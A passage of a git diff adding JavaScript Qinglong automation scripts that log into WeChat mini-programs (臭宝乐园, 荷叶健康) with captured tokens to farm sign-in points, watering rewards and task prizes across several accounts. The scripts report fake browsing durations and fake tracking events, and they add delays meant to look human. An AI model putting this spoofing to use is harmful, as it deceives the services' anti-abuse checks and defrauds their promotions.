MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'authorization': $.token, + 'charset': 'utf-8', + 'content-type': 'application/json', + 'Referer': 'https://servicewechat.com/wx2206cca563f6f937/82/page-frame.html' + } + }; + let { data: result } = await Request(config) + if (result?.status == 200) { + await signIn() + }else{ + $.log(`获取签到状态[${result.msg}]`) + } +} +async function signIn() { + let config = { + method: 'POST', + url: 'https://cbxcx.weinian.com.cn/wnuser/v1/memberUser/daySign', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'authorization': $.token, + 'charset': 'utf-8', + 'content-type': 'application/json', + 'Referer': 'https://servicewechat.com/wx2206cca563f6f937/82/page-frame.html' + } + }; + let { data: result } = await Request(config) + if (result?.status == 200) { + $.log(`签到成功`) + } else { + $.log(`签到失败【${result.msg}】`) + } +} +async function getUserInfo() { + let config = { + method: 'POST', + url: 'https://cbxcx.weinian.com.cn/wnuser/v1/memberUser/getMemberUser', + headers: { + 'User-Agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Lite Build/QKQ1.190910.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/122.0.6261.120 Mobile Safari/537.36 XWEB/1220089 MMWEBSDK/20240404 MMWEBID/8150 MicroMessenger/8.0.49.2600(0x28003156) WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 MiniProgramEnv/android', + 'Accept-Encoding': 'gzip,compress,br,deflate', + 'authorization': $.token, + 'charset': 'utf-8', + 'content-type': 'application/json', + 'Referer': 'https://servicewechat.com/wx2206cca563f6f937/82/page-frame.html' + } + }; + let { data: result } = await Request(config) + if (result?.status == 200) { + $.log(`[${result.data.nickName}] 嗦粉币[${result.data.points}]`) + } else { + $.log(`获取用户信息失败【${result.msg}】`) + $.ckFlag = false + } +} + +function checkEnv(userCookie) { + const envSplitor = ["&", "\n"]; + //console.log(userCookie); + let userList = userCookie + .split(envSplitor.find((o) => userCookie.includes(o)) || "&") + .filter((n) => n); + console.log(`共找到${userList.length}个账号`); + return userList; +} +// prettier-ignore +function Env(t, s) { return new (class { constructor(t, s) { this.name = t; this.logs = []; this.logSeparator = "\n"; this.startTime = new Date().getTime(); Object.assign(this, s); this.log("", `\ud83d\udd14${this.name},\u5f00\u59cb!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } queryStr(options) { return Object.entries(options).map(([key, value]) => `${key}=${typeof value === "object" ? JSON.stringify(value) : value}`).join("&") } getURLParams(url) { const params = {}; const queryString = url.split("?")[1]; if (queryString) { const paramPairs = queryString.split("&"); paramPairs.forEach((pair) => { const [key, value] = pair.split("="); params[key] = value }) } return params } isJSONString(str) { try { return JSON.parse(str) && typeof JSON.parse(str) === "object" } catch (e) { return false } } isJson(obj) { var isjson = typeof obj == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length; return isjson } async sendMsg(message) { if (!message) return; if (this.isNode()) { await notify.sendNotify(this.name, message) } else { this.msg(this.name, "", message) } } randomNumber(length) { const characters = "0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } randomString(length) { const characters = "abcdefghijklmnopqrstuvwxyz0123456789"; return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join("") } uuid() { return "xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx".replace(/[xy]/g, function (c) { var r = (Math.random() * 16) | 0, v = c == "x" ? r : (r & 0x3) | 0x8; return v.toString(16) }) } time(t) { let s = { "M+": new Date().getMonth() + 1, "d+": new Date().getDate(), "H+": new Date().getHours(), "m+": new Date().getMinutes(), "s+": new Date().getSeconds(), "q+": Math.floor((new Date().getMonth() + 3) / 3), S: new Date().getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (new Date().getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in s) { new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? s[e] : ("00" + s[e]).substr(("" + s[e]).length))) } return t } msg(title = t, subtitle = "", body = "", options) { const formatOptions = (options) => { if (!options) { return options } else if (typeof options === "string") { if (this.isQuanX()) { return { "open-url": options } } else { return undefined } } else if (typeof options === "object" && (options["open-url"] || options["media-url"])) { if (this.isQuanX()) { return options } else { return undefined } } else { return undefined } }; if (!this.isMute) { if (this.isQuanX()) { $notify(title, subtitle, body, formatOptions(options)) } } let logs = ["", "==============📣系统通知📣=============="]; logs.push(title); subtitle ? logs.push(subtitle) : ""; body ? logs.push(body) : ""; console.log(logs.join("\n")); this.logs = this.logs.concat(logs) } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, s) { const e = !this.isQuanX(); e ? this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t.stack) : this.log("", `\u2757\ufe0f${this.name},\u9519\u8bef!`, t) } wait(t) { return new Promise((s) => setTimeout(s, t)) } done(t = {}) { const s = new Date().getTime(), e = (s - this.startTime) / 1e3; this.log("", `\ud83d\udd14${this.name},\u7ed3\u675f!\ud83d\udd5b ${e}\u79d2`); this.log(); if (this.isNode()) { process.exit(1) } if (this.isQuanX()) { $done(t) } } })(t, s) } + +async function Request(options) { + if ($.isNode()) { + const axios = require("axios"); + Request = async (options) => { + try { + return await axios.request(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + if ($.isQuanX()) { + Request = async (options) => { + try { + return await $task.fetch(options); + } catch (error) { + return error && error.error ? error.error : "请求失败"; + } + }; + } + return await Request(options); +} \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/臭宝乐园/2026-05-14_choubao_5bbd98d8.js b/脚本库/微信小程序/抓包版/臭宝乐园/2026-05-14_choubao_5bbd98d8.js new file mode 100644 index 0000000..d6b2dcc --- /dev/null +++ b/脚本库/微信小程序/抓包版/臭宝乐园/2026-05-14_choubao_5bbd98d8.js @@ -0,0 +1,254 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/choubao.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/choubao.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/choubao.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: 5bbd98d8a822e4074280f475b354bbb68d4b7a6a72e3f9909b638231008e3ccb +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: +cron: 30 9 * * * +------------------------------------------ +#Notice: +臭宝乐园 微信小程序 签到得积分 换螺蛳粉 +抓https://cb-bags-slb.weinian.com.cn 请求头token 仅支持单账号 +WeChatCodeServer 填写wx_server_url wx_auth 用于获取code 因为抓到的有效期很短只有2小时 +变量名称:choubaoleyuan +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +const { + Env +} = require("../tools/env") +const $ = new Env("臭宝乐园"); +const WeChatServer = require("./wcs.js"); +let ckName = `choubaoleyuan`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" +let wechat = new WeChatServer({ + url: process.env.wx_server_url || 'http://192.168.31.196:12081', + appid: 'wx2206cca563f6f937', + auth: process.env.wx_auth || "your-api-key", + +} +); + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + + this.wcsid = this.user[0] + } + + async run() { + //随机延迟5-30s 模拟人工操作 + await $.wait(Math.floor(Math.random() * 20 + 5) * 1000); + let { data: codeRes } = await wechat.getCode(this.wcsid) + if (codeRes.status) { + await this.getUserToken(codeRes.data.code) + } + if (!this.token) { + $.log(`账号[${this.index}] 获取用户Token失败❌`) + return + } + this.token = 'Bearer' + this.token + await this.getUserInfo() + await this.track() + await this.checkSign() + + } + async getUserToken(code) { + let options = { + method: 'POST', + url: `https://cb-bags-slb.weinian.com.cn/bff/v1/auth/wechatLogin`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "content-type": "application/json", + "authorization": "Bearer" + this.token + } + , + data: { + loginCode: code + } + } + let { + data: result + } = await axios.request(options); + if (result?.status == '200') { + this.token = result.data + $.log(`🌸账号[${this.index}] 获取用户Token成功:${this.token}`) + } else { + $.log(`🌸账号[${this.index}] 获取用户Token-失败:${result.msg}❌`) + } + } + async getUserInfo() { + let options = { + method: 'POST', + url: `https://cb-bags-slb.weinian.com.cn/wnuser/v1/memberUser/getMemberUser`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token + "", + "content-type": "application/json", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "user-agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027' + } + } + let { + data: result + } = await axios.request(options); + if (result?.status == '200') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `[${result.data.nickName}] 积分[${result.data.points}]🎉`); + } else { + $.log(`🌸账号[${this.index}] 获取用户信息-失败:${result.msg}❌`) + } + } + async track() { + let options = { + method: 'POST', + url: `https://cb-bags-slb.weinian.com.cn/member/v1/memberBuryPoint/add`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token + "", + "content-type": "application/json", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "user-agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027' + }, + data: { "appletVersion": "2.0.31", "phoneSystem": "Windows Unknown x64", "phoneModel": "microsoft", "functionName": "签到", "module": "首页", "linkUrl": "pages/signIn/signIn", "secondPage": "" } + } + await axios.request(options); + } + async checkSign() { + let options = { + method: 'POST', + url: `https://cb-bags-slb.weinian.com.cn/wnuser/v1/memberUser/checkSignNum`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token + "", + "content-type": "application/json", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site", + "user-agent": 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090a13) UnifiedPCWindowsWechat(0xf254173b) XWEB/19027' + }, + data: { + + } + }; + let { + data: result + } = await axios.request(options); + if (result?.status == '200') { + //打印签到结果 + await this.signIn() + } else { + + } + + + + + } + + async signIn() { + let options = { + method: 'POST', + url: `https://cb-bags-slb.weinian.com.cn/wnuser/v1/memberUser/daySign`, + headers: { + "accept": "*/*", + "accept-language": "zh-CN,zh;q=0.9", + "authorization": "" + this.token + "", + "content-type": "application/json", + "priority": "u=1, i", + "sec-fetch-dest": "empty", + "sec-fetch-mode": "cors", + "sec-fetch-site": "cross-site" + }, + data: { + + } + }; + let { + data: result + } = await axios.request(options); + if (result?.status == '200') { + //打印签到结果 + $.log(`🌸账号[${this.index}]` + `签到成功🎉`); + } else { + $.log(`🌸账号[${this.index}] 签到-失败:${result.msg}❌`) + } + + + + + } + + + + + + + + +} + +!(async () => { + await getNotice() + $.checkEnv(ckName); + if (process.env['wx_server_url'] && process.env['wx_auth']) { + for (let user of $.userList) { + await new Task(user).run(); + } + } else { + + $.log(`${ckName}未配置微信SERVER配置 搭建可看仓库目录下的readme.md❌`) + return + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()); +async function getNotice() { + try { + let options = { + url: `https://ghproxy.net/https://raw.githubusercontent.com/smallfawn/Note/refs/heads/main/Notice.json`, + headers: { + "User-Agent": defaultUserAgent, + }, + timeout: 3000 + } + let { + data: res + } = await axios.request(options); + $.log(res) + return res + } catch (e) { } + +} diff --git a/脚本库/微信小程序/抓包版/荷叶健康小程序/2026-05-14_hyjk_fafd24e8.js b/脚本库/微信小程序/抓包版/荷叶健康小程序/2026-05-14_hyjk_fafd24e8.js new file mode 100644 index 0000000..e79c953 --- /dev/null +++ b/脚本库/微信小程序/抓包版/荷叶健康小程序/2026-05-14_hyjk_fafd24e8.js @@ -0,0 +1,679 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/daily/hyjk.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/hyjk.js +// # Repo: smallfawn/QLScriptPublic +// # Path: daily/hyjk.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: fafd24e84af03196a944c9196f8bdd6e640018c604fb61c80a661c075a3d5db6 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +/* +------------------------------------------ +@Author: sm +@Date: 2024.06.07 19:15 +@Description: 荷叶健康小程序 +cron: 30 10 * * * +------------------------------------------ +#Notice: +微信荷叶健康小程序 免费水果+打卡签到抽奖 +抓tuan.api.ybm100.com/miniapp中请求头的token 多账户&或换行 +⚠️【免责声明】 +------------------------------------------ +1、此脚本仅用于学习研究,不保证其合法性、准确性、有效性,请根据情况自行判断,本人对此不承担任何保证责任。 +2、由于此脚本仅用于学习研究,您必须在下载后 24 小时内将所有内容从您的计算机或手机或任何存储设备中完全删除,若违反规定引起任何事件本人对此均不负责。 +3、请勿将此脚本用于任何商业或非法目的,若违反规定请自行对此负责。 +4、此脚本涉及应用与本人无关,本人对因此引起的任何隐私泄漏或其他后果不承担任何责任。 +5、本人对任何脚本引发的问题概不负责,包括但不限于由脚本错误引起的任何损失和损害。 +6、如果任何单位或个人认为此脚本可能涉嫌侵犯其权利,应及时通知并提供身份证明,所有权证明,我们将在收到认证文件确认后删除此脚本。 +7、所有直接或间接使用、查看此脚本的人均应该仔细阅读此声明。本人保留随时更改或补充此声明的权利。一旦您使用或复制了此脚本,即视为您已接受此免责声明。 +*/ + +global['window'] = {} +global['navigator'] = {} +const { JSEncrypt } = require("encryptlong") +const JsRsaSign = require("jsrsasign") +const { Env } = require("../tools/env") +const $ = new Env("荷叶健康小程序"); +let ckName = `hyjk`; +const strSplitor = "#"; +const axios = require("axios"); +const defaultUserAgent = "Mozilla/5.0 (iPhone; CPU iPhone OS 16_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.31(0x18001e31) NetType/WIFI Language/zh_CN miniProgram" + + +class Task { + constructor(env) { + this.index = $.userIdx++ + this.user = env.split(strSplitor); + this.token = this.user[0]; + this.channelCode = this.user[1] || process.env.HYJK_CHANNEL_CODE || "130"; + this.userFlag = false + this.userId = '' + this.headers = { + "host": "tuan.api.ybm100.com", + "userid": "" + this.userId, + "referer": "https://www.heyejk.com/", + "apptype": "1", + "user-agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_15 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 MicroMessenger/8.0.70(0x18004630) NetType/WIFI Language/zh_CN miniProgram/wx776afedbfae3a228", + "appversion": "3.1.7", + "origin": "https://www.heyejk.com", + "sec-fetch-dest": "empty", + "sec-fetch-site": "cross-site", + "terminal": "h5", + "usertype": "groupuser", + "appname": "ykq-xcx", + "token": "" + this.token, + "accept-language": "zh-CN,zh-Hans;q=0.9", + "accept": "application/json, text/plain, */*", + "content-type": "application/json;charset=UTF-8", + "accept-encoding": "gzip, deflate, br", + "sec-fetch-mode": "cors" + } + } + + async run() { + await this.getFruitInfo() + await this.autoByUserOperation() + await this.getSignInfo() + } + + async getSignInfo() { + let options = { + method: 'POST', + url: `https://tuan.api.ybm100.com/miniapp/marketing/signActivity/signRecord`, + headers: this.headers, + data: { "actId": "9093", "channelCode": this.channelCode, "adornId": "217" } + }; + let { data: result } = await axios.request(options); + if (result.code == 0) { + const isSigned = result?.result?.todaySignStatusDesc === "已签到"; + $.log(`[账号${this.index}] 今日签到: ${isSigned ? "已签到" : "未签到"}`) + if (!isSigned) { + await this.doSign() + } + } else { + $.log(`[账号${this.index}] 获取签到状态失败[${result.msg}]`); + } + } + + async doSign() { + let options = { + method: 'POST', + url: `https://tuan.api.ybm100.com/miniapp/marketing/signActivity/sign`, + headers: this.headers, + data: { "actId": "9093", "channelCode": this.channelCode, "adornId": "217" } + }; + let { data: result } = await axios.request(options); + if (result?.code == '0') { + $.log(`[账号${this.index}] 签到成功[${result.msg}]`); + } else { + $.log(`[账号${this.index}] 签到失败:${result.msg}`) + } + } + + async getFruitInfo() { + let options = { + method: 'GET', + url: `https://tuan.api.ybm100.com/api/healthSquare/fruitManor/getMyManorInfo?channelCode=${this.channelCode}`, + headers: this.headers, + }; + let { data: result } = await axios.request(options); + if (result.code == 0) { + $.log(`[账号${this.index}] [${result.result.kettleWater}]-[${result.result.progressBarTips}]`) + this.treeId = Number(result.result.treeId) + this.userId = result.result.userId + this.headers.userid = String(this.userId || "") + this.todayFullWaterTaskId = Number(result?.result?.todayFullWaterTaskId || 0) + for (let i = 0; i < Math.floor(Number(result.result.kettleWater) / 10); i++) { + await $.wait(3000) + await this.doWater() + } + } else { + $.log(`[账号${this.index}] 查询失败[${result.msg}]`); + } + } + async doWater() { + try { + let data = { "channelCode": this.channelCode, "treeId": this.treeId, "nonce": $.randomString(6) } + let options = { + method: 'POST', + url: `https://tuan.api.ybm100.com/api/healthSquare/water/watering?secret=${encodeURIComponent(this.encrypt(data))}`, + headers: this.headers, + data: data + } + let { data: result } = await axios.request(options); + if (result?.code == 0) { + $.log(`账号${this.index}] 浇水[${result.result.progressBarTips}]`) + } else { + $.log(`账号${this.index}] 胶水[${result.msg}]`); + } + } catch (e) { + + } + + + + } + + request(options) { + const finalOptions = { + timeout: Number(process.env.HYJK_HTTP_TIMEOUT || 15000), + ...options, + headers: { + ...this.headers, + ...(options.headers || {}) + } + }; + return axios.request(finalOptions); + } + + async userOperation(operateType, operateValueObj) { + const data = { + operateType, + operateValue: JSON.stringify(operateValueObj), + channelCode: this.channelCode + }; + const { data: result } = await this.request({ + method: "POST", + url: "https://tuan.api.ybm100.com/api/healthSquare/user/userOperation", + data + }); + return result; + } + + async getTaskListNew() { + const { data: result } = await this.request({ + method: "GET", + url: `https://tuan.api.ybm100.com/api/healthSquare/task/getTaskListNew?channelCode=${this.channelCode}&venueId=5` + }); + + return result; + } + + async getPopupList() { + const { data: result } = await this.request({ + method: "GET", + url: `https://tuan.api.ybm100.com/api/healthSquare/fruitManor/getPopup`, + params: { + channelCode: this.channelCode, + entranceType: 0 + } + }); + return result; + } + + async getVenueInfo() { + const { data: result } = await this.request({ + method: "GET", + url: `https://tuan.api.ybm100.com/api/healthSquare/fruitManor/getVenueInfo`, + params: { channelCode: this.channelCode } + }); + return result; + } + + async getBlindBoxInfo(taskId) { + const { data: result } = await this.request({ + method: "GET", + url: `https://tuan.api.ybm100.com/api/healthSquare/task/getBlindBoxInfo`, + params: { + channelCode: this.channelCode, + taskId + } + }); + return result; + } + + async collectWater(payload) { + const data = { + channelCode: this.channelCode, + nonce: $.randomString(6), + ...payload + }; + const secret = encodeURIComponent(this.encrypt(data)); + const { data: result } = await this.request({ + method: "POST", + url: `https://tuan.api.ybm100.com/api/healthSquare/water/collectWater?secret=${secret}`, + data + }); + return result; + } + + async goFruitOrGarden(taskId) { + const { data: result } = await this.request({ + method: "POST", + url: `https://tuan.api.ybm100.com/healthSquare/herbalGarden/goFruitOrGarden`, + data: { + channelCode: this.channelCode, + taskId: Number(taskId) + } + }); + return result; + } + + flattenTaskList(taskResult) { + if (!taskResult || taskResult.code !== 0) return []; + const root = taskResult.result; + if (Array.isArray(root)) return root; + if (Array.isArray(root?.list)) { + if (root.list.some(item => item && Object.prototype.hasOwnProperty.call(item, "taskId"))) { + return root.list; + } + return root.list.flatMap(group => Array.isArray(group?.taskList) ? group.taskList : []); + } + return []; + } + + async autoByUserOperation() { + await this.autoTodayFullWaterTask(); + await this.autoPopups(); + await this.autoVenueClicks(); + await this.autoTasks(); + } + + + async autoTodayFullWaterTask() { + try { + if (!this.todayFullWaterTaskId) return; + const opRes = await this.userOperation(6, { taskId: this.todayFullWaterTaskId, status: 1 }); + $.log(`[账号${this.index}] fullWater(taskId=${this.todayFullWaterTaskId}) 上报: ${opRes?.msg || opRes?.code}`); + await $.wait(500); + } catch (e) { + $.log(`[账号${this.index}] fullWater自动化异常: ${e.message}`); + } + } + async autoPopups() { + try { + const popupRes = await this.getPopupList(); + const list = Array.isArray(popupRes?.result?.list) ? popupRes.result.list : []; + for (const popup of list) { + const payload = { + popupType: Number(popup?.popupType || 0), + waterNum: Number(popup?.waterNum || 0) + }; + const opRes = await this.userOperation(7, payload); + $.log(`[账号${this.index}] popupType=${payload.popupType} 上报: ${opRes?.msg || opRes?.code}`); + await $.wait(500); + } + } catch (e) { + $.log(`[账号${this.index}] popup自动化异常: ${e.message}`); + } + } + + async autoVenueClicks() { + try { + const venueRes = await this.getVenueInfo(); + const list = Array.isArray(venueRes?.result?.list) ? venueRes.result.list : []; + for (const venue of list) { + if (Number(venue?.clickStatus) === 0 && venue?.id) { + const opRes = await this.userOperation(10, { venueId: Number(venue.id) }); + $.log(`[账号${this.index}] venueId=${venue.id} 上报: ${opRes?.msg || opRes?.code}`); + await $.wait(500); + } + } + } catch (e) { + $.log(`[账号${this.index}] venue自动化异常: ${e.message}`); + } + } + + normalizeTaskNumber(value, fallback = 0) { + const n = Number(value); + return Number.isFinite(n) ? n : fallback; + } + + resolveTaskEventType(item) { + const taskType = this.normalizeTaskNumber(item?.taskType); + const browseType = this.normalizeTaskNumber(item?.browseType); + const waterEventType = this.normalizeTaskNumber(item?.waterEventType); + if (taskType === 50) { + if (browseType === 1) return 11; + if (browseType === 2) return 12; + if (browseType === 3) return 13; + return 11; + } + if (taskType === 60 || taskType === 61) return 7; + if (taskType === 70) return 5; + if (taskType === 80) return 3; + if (taskType === 90) return 4; + if (taskType === 110 || taskType === 120) return waterEventType || 0; + return waterEventType || this.normalizeTaskNumber(item?.eventType); + } + + resolveTaskWaterNum(item) { + const raw = [ + item?.reward, + item?.waterNum, + item?.waterConf, + item?.taskRewardNum + ]; + for (const value of raw) { + const n = Number(value); + if (Number.isFinite(n) && n > 0) return n; + } + return undefined; + } + + async claimTaskWater(item, tag = "claim") { + const taskId = this.normalizeTaskNumber(item?.taskId); + const eventType = this.resolveTaskEventType(item); + if (!eventType) { + $.log(`[账号${this.index}] ${tag} taskId=${taskId} 跳过: 缺少eventType(taskType=${this.normalizeTaskNumber(item?.taskType)})`); + return; + } + const payload = { + extTask: 0, + eventType + }; + if (taskId) payload.taskId = taskId; + const waterNum = this.resolveTaskWaterNum(item); + if (waterNum) payload.waterNum = waterNum; + const res = await this.collectWater(payload); + $.log(`[账号${this.index}] ${tag} collectWater(taskId=${taskId},eventType=${eventType},waterNum=${waterNum || 0}): ${res?.msg || res?.code}`); + } + + logTaskItem(item, prefix = "task") { + const taskId = this.normalizeTaskNumber(item?.taskId); + const taskType = this.normalizeTaskNumber(item?.taskType); + const taskStatus = this.normalizeTaskNumber(item?.taskStatus); + const browseType = this.normalizeTaskNumber(item?.browseType); + const waterEventType = this.normalizeTaskNumber(item?.waterEventType); + $.log(`[账号${this.index}] ${prefix} taskId=${taskId}, taskType=${taskType}, taskStatus=${taskStatus}, browseType=${browseType}, waterEventType=${waterEventType}`); + } + + buildBrowseSecondsCandidates(item) { + const candidates = []; + const maybeSeconds = [ + item?.seconds, + item?.browseSeconds, + item?.needSeconds, + item?.taskSeconds, + process.env.HYJK_BROWSE_SECONDS + ]; + for (const v of maybeSeconds) { + const n = Number(v); + if (Number.isFinite(n) && n >= 0) candidates.push(n); + } + candidates.unshift(0, 20, 30, 60); + return [...new Set(candidates.filter(n => Number.isFinite(n) && n >= 0))]; + } + + resolveBrowseTargetSeconds(item) { + const maybe = [ + item?.needSeconds, + item?.seconds, + item?.browseSeconds, + item?.taskSeconds, + process.env.HYJK_BROWSE_SECONDS + ]; + for (const v of maybe) { + const n = Number(v); + if (Number.isFinite(n) && n > 0) return n; + } + return 20; + } + + async autoBrowseTask(item) { + const taskId = this.normalizeTaskNumber(item?.taskId); + const targetSeconds = this.resolveBrowseTargetSeconds(item); + const waitPadding = Number(process.env.HYJK_BROWSE_WAIT_PADDING || 1); + + const startRes = await this.userOperation(5, { taskId, seconds: 0 }); + $.log(`[账号${this.index}] 浏览任务(taskId=${taskId}) 起始上报seconds=0: ${startRes?.msg || startRes?.code}`); + + const waitMs = Math.max(0, Math.floor((targetSeconds + waitPadding) * 1000)); + if (waitMs > 0) { + $.log(`[账号${this.index}] 浏览任务(taskId=${taskId}) 等待${Math.floor(waitMs / 1000)}秒以满足停留时长`); + await $.wait(62); + } + + const targetRes = await this.userOperation(5, { taskId, seconds: targetSeconds }); + $.log(`[账号${this.index}] 浏览任务(taskId=${taskId}) 目标上报seconds=${targetSeconds}: ${targetRes?.msg || targetRes?.code}`); + + const secondsCandidates = this.buildBrowseSecondsCandidates(item).filter(s => s !== 0 && s !== targetSeconds); + for (const seconds of secondsCandidates) { + const opRes = await this.userOperation(5, { taskId, seconds }); + $.log(`[账号${this.index}] 浏览任务(taskId=${taskId}) 兜底上报seconds=${seconds}: ${opRes?.msg || opRes?.code}`); + await $.wait(400); + } + } + + async autoTasks() { + try { + const firstTaskRes = await this.getTaskListNew(); + const firstTaskList = this.flattenTaskList(firstTaskRes); + $.log(`[账号${this.index}] taskList数量: ${firstTaskList.length}`); + for (const item of firstTaskList) { + const taskType = Number(item?.taskType); + const taskStatus = Number(item?.taskStatus); + const taskId = Number(item?.taskId); + if (!taskId) continue; + this.logTaskItem(item, "scan"); + + if (taskType === 50 && (taskStatus === 0 || taskStatus === 3)) { + await this.autoBrowseTask(item); + continue; + } + + if (taskType === 70 && taskStatus === 0) { + const opRes = await this.userOperation(9, { taskId }); + $.log(`[账号${this.index}] task70(taskId=${taskId}) 上报: ${opRes?.msg || opRes?.code}`); + await $.wait(500); + continue; + } + + if (taskType === 80 && (taskStatus === 0 || taskStatus === 3)) { + await this.autoBlindBox(taskId); + continue; + } + + if ((taskType === 60 || taskType === 61) && taskStatus === 0) { + await this.claimTaskWater(item, "task60/61直领"); + await $.wait(500); + continue; + } + + if (taskType === 90 && (taskStatus === 0 || taskStatus === 3)) { + await this.claimTaskWater(item, "task90直领"); + await $.wait(500); + continue; + } + + if ((taskType === 110 || taskType === 120) && (taskStatus === 0 || taskStatus === 3)) { + const jumpRes = await this.goFruitOrGarden(taskId); + $.log(`[账号${this.index}] task${taskType}(taskId=${taskId}) goFruitOrGarden: ${jumpRes?.msg || jumpRes?.code}`); + await $.wait(500); + continue; + } + + if (taskStatus === 1) { + await this.claimTaskWater(item, "立即领奖"); + await $.wait(500); + continue; + } + + if (taskStatus !== 2 && taskStatus !== 10000) { + $.log(`[账号${this.index}] 未适配任务: taskType=${taskType}, taskStatus=${taskStatus}, taskId=${taskId}`); + } + } + + const secondTaskRes = await this.getTaskListNew(); + const secondTaskList = this.flattenTaskList(secondTaskRes); + for (const item of secondTaskList) { + const taskStatus = this.normalizeTaskNumber(item?.taskStatus); + if (taskStatus !== 1) continue; + await this.claimTaskWater(item, "二次领奖"); + await $.wait(500); + } + } catch (e) { + $.log(`[账号${this.index}] task自动化异常: ${e.message}`); + } + } + + async autoBlindBox(taskId) { + try { + const boxRes = await this.getBlindBoxInfo(taskId); + const boxList = Array.isArray(boxRes?.result) ? boxRes.result : []; + for 